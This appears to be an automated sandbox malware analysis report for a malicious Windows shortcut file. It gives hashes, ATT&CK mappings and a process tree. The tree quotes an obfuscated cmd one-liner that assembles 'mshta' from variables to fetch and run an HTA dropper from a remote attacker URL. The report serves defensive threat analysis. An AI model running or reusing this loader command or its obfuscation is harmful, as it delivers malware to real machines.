4c5aac7683b4caa96e26d45c8908a390dad443fd7d731ea1ce0f89a27ef6d8b8

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:35

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General

Target
DOC-KS614P.lnk
Size 1KB
Sample260803-qv486acl4s
SHA256 4c5aac7683b4caa96e26d45c8908a390dad443fd7d731ea1ce0f89a27ef6d8b8
MD5 059554e1a5c500033457b93710eac3fc
SHA1 3b747d39917968610b83e35908d8cbcb7c70af7f
SHA512 1659f5daff26f3bd639f3254a99b30810176751937cd6087fab76d6001dd9aa076bf82cc444bff5dbbea769a53400160b37d60bee45529dd31f3c615fc8e71e0
TLSH
T128317B503FF90654F3F79F7394BB5B2085BBB9568E20C61E0141464C1032A14E57AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2092	cmd.exe
5880	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 5880	2092	cmd.exe	90
PID 5880 wrote to memory of 6028	5880	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KS614P.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2092
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set XB=msh&&set GH=ta&&start "" !XB!!GH! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:6028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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